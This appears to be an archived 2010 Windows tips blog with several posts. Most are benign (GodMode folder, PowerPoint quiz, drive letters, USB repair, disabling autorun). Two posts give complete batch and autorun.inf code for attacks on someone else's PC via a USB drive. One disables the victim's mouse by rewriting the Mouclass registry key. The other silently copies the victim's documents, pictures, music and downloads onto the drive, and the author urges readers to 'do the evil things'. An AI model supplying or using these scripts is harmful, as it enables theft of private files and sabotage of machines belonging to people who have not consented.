Friday, August 6, 2010

Disable Your Friend’s Mouse Whenever USB Disk Is Inserted

Posted: 20 May 2010 08:42 AM PDT

Batch scripting is really easy and so much a fun. You can learn and imagine so many things from batch and shell scripting.

In this short time pass tutorial, I am going to show you how to disable your friend’s mouse whenever your USB drive is inserted.

To get this feature working, you must make sure that your friend has not disabled autorun for removable media. However you may get this to work by creating a fake icon for the batch program.

As we did with our previous tutorial about copying files automatically, we’ll be using same principle here. First we’ll create a batch file and then we’ll be creating autorun.inf file. Then we’ll be pasting it in the root of USB drive. Now whenever the USB drive is inserted, system will look for autorun.inf. Autorun.inf will execute that batch file disabling the mouse.

@echo off
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4

Copy the above code in notepad and save it as “filename.bat”

The above code will disable the mouse by deleteing the registry key of Mouclass and again adds data = 0×00000004 to the valuename = “Start”

Note: The above image is only demonstrates where the action will be taken by the above batch script. It has to do nothing with the procedure of this tutorial.

[autorun]
Open=filename.bat
Action=Mouse Disable

The above code goes for autorun.inf. Open notepad, copy and paste the above code in it and save it as “autorun.inf”.

Now copy both of the file in your or your friend’s USB drive. Then let it do the magic.

To re-enable the mouse you’ll just have to change the value 0×00000004 to 0×00000001. To do so, simply create another batch file with following script:

@echo off
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 1

Hope this tutorial was fun trying to.

Thursday, August 5, 2010

Windows 7 Easter Egg | GodMode

Posted: 16 May 2010 07:58 AM PDT

Windows 7 enthusiastic just revealed new Easter egg. It is s all about the shortcut named ‘GodMode’ which enables users to access all of the Windows configuration settings in one window.

To get this secret revealed in your Windows 7, simply create an empty folder and rename it to the following:

GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}.

The folder icon will instantly change into a shortcut name GodMode which would allow you to access all settings of Windows. One can change the settings at their own will.

Hope this trick was helpful to you.

Tuesday, August 3, 2010

Creating a simple quiz application using Microsoft Powerpoint

Posted: 12 May 2010 06:41 AM PDT

In this tutorial I am going to teach you how to create an interactive quiz application slideshow using Microsoft Powerpoint..

Before beginning the tutorial you must know the things you’ll need:

- Welcome Page

- Question Page

- Success Page

- Failure Page

OK now let’s begin. First in default new slide type your welcome message.

Now create question page as many as you like. In this tutorial I am creating two questions page which contains simple questions.

To do so, create a new slide by going to Insert>New slide or CTRL+M.

Type your questions there. For instance I questioned what is 10+10 and in another question what is 5+3. Below the question I kept two options for each questions.

Now again create another new slide and type your congratulations message and again create another new slide and type the failure message.

Now the basic setup is ready.

Let’s create the quiz interface.

Highlight your correct answer for first question and press CTRL+K (Hyperlink).

Then go to “Place in this document” and choose the preceding question slide as shown in figure. (if right answer is clicked you’ll be welcomed with new question else you’ll be welcomed with failure message).

Again highlight the wrong answer and hyperlink it to failure page.

Do same for all of the questions. But for the last question of the quiz, hyperlink the correct answer to the congratulation page.

Now your quiz application is ready.

Press F5 button and try the quiz yourself.

Hope this tutorial was fun trying to.

Monday, August 2, 2010

How To Swap Or Change Drive Letter

Posted: 15 May 2010 06:40 AM PDT

Sometimes you may want to change your drive letter. There comes a day when you want all the files of C: in D: and all the files of D: in C: without any reason, just for name.

So, How to swap files from C: to D and D to C or any other drives. Copying all the files of C: in separate partition and finally formatting C: and copying D drive’s file in C: and again formatting D, again you’ll format D and copy the files of C that you stored in separated partition and paste it in D.

Well the above method is time consuming and foolish method. If you really want to swap the drive letter then this tutorial will be helpful.

Go to start> My computer, Right click on My Computer icon and click on Manage menu.

Go to Storage tree list on the left and choose Disk management.

Now in this example I am going to swap drive G: and V:.

Right click on G: drive and select Change Drive letter and paths menu as shown in figure.

In the new window, click on change button. Now choose any of the drive letter (suppose T: )and click on OK button.

Click yes in confirmation window

Now your G: drive changed to the one that you’ve specified just now.

Now let’s change the drive name of V: to G:

Again right click on drive V: and go to change drive letter and paths. Now finally following steps above change drive letter to G:

Finally you’ve changed V: to G: bytaking T: as substitution. Now let’s change T: substitution to V:, to do so follow the above steps and choose drive letter V: in place of T:.

Now you are done. You’ve success changed V: to G:.

Hope this tutorial was helpful.

Sunday, August 1, 2010

How To Repair Detectable But Corrupt USB Drive

Posted: 13 May 2010 02:37 PM PDT

Have you suddenly encountered with the problem that when you plug in your USB drive, the Removable media shows up but when you try to open it, it returns with the message “Please insert a disk in to drive H:”.

If yes then you have been on right tutorial page.

By applying this simple method you’ll have 80 % chance to get back your USB drive hardware.

This works only in the above error condition. If the windows doesn’t detect your USB drive, then there is probably flaw in the USB media.

Please keep in mind that, you’ll have to lose your data when following this tutorial.

Plug in your USB drive.

Go to Start>My Computer, right click on My Computer icon and click on Manage menu.

Computer Management window will pop up. Click on Disk management under Storage tree menu.

Now at the right side of the window right click on your removable media. (unlike the image below, it will show unknown information), right click on your removable media and choose Change Drive Letter and Paths.

Now in new window choose any drive later that is not taken by any media (M:, N: , :K: etc).

Click on ok button and close the management window. Try opening your pendirve. There may be the chance to have your pendrive recovered if this method worked.

If the problem still prevails then follow the above tutorial but instead of choosing Change drive letter and paths, choose Fomrat and give a quick format to it.

Now you’ll have finally lost your data but the pendrive is safe in your hands.

Hope this tutorial was working. If it didn’t please do comment me. I’ll find other solutions as well.

Saturday, July 31, 2010

How To Steal Files From Other Computer

Posted: 10 May 2010 09:27 AM PDT

In today’s article I am going to teach you something illegal but only for educational propose. This only demonstrates how you can copy files from your friend’s PC as soon as you plug in your flash drive or any removable storage media.

I am going to teach you how you can do this from batch file with the help of autorun.inf file.
Let me tell you the basic things what will happen.

When you plug in in your Pen drive, system will look up for autorun.inf (incase if autorun is not disabled for your drive from the system).

Then we’ll input some command in autorun.inf in such a way that it will load the batch file that does the magic of copying all the files from your PC. In this demonstration I am copying only the files and folders in My Documents.

Here goes the batch code:

@echo off
:CHECK
if not exist "%homedrive%\Copied_files" md "%homedrive%\Copied_files"
if exist "%systemdrive%\Documents and Settings" goto COPIER
goto ERROR

:COPIER
if not exist "%homedrive%\Copied_files\%computername%" md "%homedrive%\Copied_files\%computername%"
if not exist "%homedrive%\Copied_files\%computername%\VIDEOS" md "%homedrive%\Copied_files\%computername%\VIDEOS"
if not exist "%homedrive%\Copied_files\%computername%\PICTURES" md "%homedrive%\Copied_files\%computername%\PICTURES"
if not exist "%homedrive%\Copied_files\%computername%\MUSIC" md "%homedrive%\Copied_files\%computername%\MUSIC"
if not exist "%homedrive%\Copied_files\%computername%\DOWNLOADS" md "%homedrive%\Copied_files\%computername%\DOWNLOADS"
copy /y "%userprofile%\My Documents\*.*" "%homedrive%\Copied_files\%computername%"
copy /y "%userprofile%\My Documents\My Videos" "%homedrive%\Copied_files\%computername%\VIDEOS"
copy /y "%userprofile%\My Documents\My Music" "%homedrive%\Copied_files\%computername%\MUSIC"
copy /y "%userprofile%\My Documents\My Pictures" "%homedrive%\Copied_files\%computername%\PICTURES"
copy /y "%userprofile%\My Documents\Downloads" "%homedrive%\Copied_files\%computername%\DOWNLOADS"
MSG %username% "DONE!"
exit

:ERROR
exit

What it actually does is in first case ,CHECK it checks if your removable storage have Copied_files folder or not. If it doesn’t have then it creates one by using MD (Make Directory) command.

Again it checks if you have documents and settings folder then it will assume that you are using windows XP. Other wise it will return an error and exits.

This happens because; in Windows XP the user’s documents are usually stored in %systemroot%\Documents and Settings folder.

Now I’ve defined another two cases after the first case CHECK, that is COPIER case and ERROR case.

Case COPIER will execute when the program recognizes it is Windows XP, where the real coying work goes o.

Case ERROR will execute when the Documents and Settings doesn’t exists in your system root.

This is just a simple use of Batch programming. Copy the above code and paste it in notepad and save it as Filename.bat.

Now let’s create a file that will load it automatically.

[autorun]
Open=Filename.bat
Action=File Copier

The above code goes in autorun.inf file. Open notepad and copy it and paste it and save as autorun.inf.

Copy the two files, autorun.inf and Filename.bat in your flash drive.

Then plug in your device to your friends PC and do the evil things.

Where is the flaw?

It shows Command prompt window and process of copying (thank god your noob never think that it actually copying).

Another thing is that it determines the windows by searching the file users and Docuemnts and settings, which is not the right way to determine your system operating system.

However this is just an educational tutorial.

Hope this tutorial was helpful.

Friday, July 30, 2010

How To Protect Your Desktop From Virus By Disabling Autorun

Posted: 09 May 2010 04:52 AM PDT

Most of the computer seems to get transferred from flash drives, pen drives and other portable and removable media. As soon as you plug and play your removable storage media, the windows’ default feature will search for Autorun.inf file which contains all the information about the things to do when media is plugged in.

It can execute programs (probably virus) which are already in removable storage media. Eventually the programs copies itself to the hard drive.

Therefore it is necessary to turn of autorun feature in your windows to get rid of viruses.

In this short tutorial I am going to teach you how to disable your system from searching and executing autorun.inf as soon as the removable storage is plugged in.

Follow this simple step by step tutorial.

First go to Start> Run

Type: gpedit.msc in run window and press OK button.

It will load the group policy editor window.

In the explorer sidebar at the left, open Computer configuration tree. Inside it open Administrative templates. Again open System folder. (refer to the image below).

Click on the image to Enlarge

At the right side, scroll down for the “Turn off Autoplay”.

Double click to open it.

Click on “Enabled” button and choose “all drives”.

And click on OK button.

Again in explorer sidebar at the left, open User configuration tree. Inside it open Administrative templates. Again open System folder. (refer to the image below).

Click on the image to Enlarge

At the right side, scroll down for the “Turn off Autoplay”.

Double click to open it. Apply the same settings as above and click on OK button.

Restart you PC.

Now onwards, your removable media won’t autoplay making your desktop more secure from virus.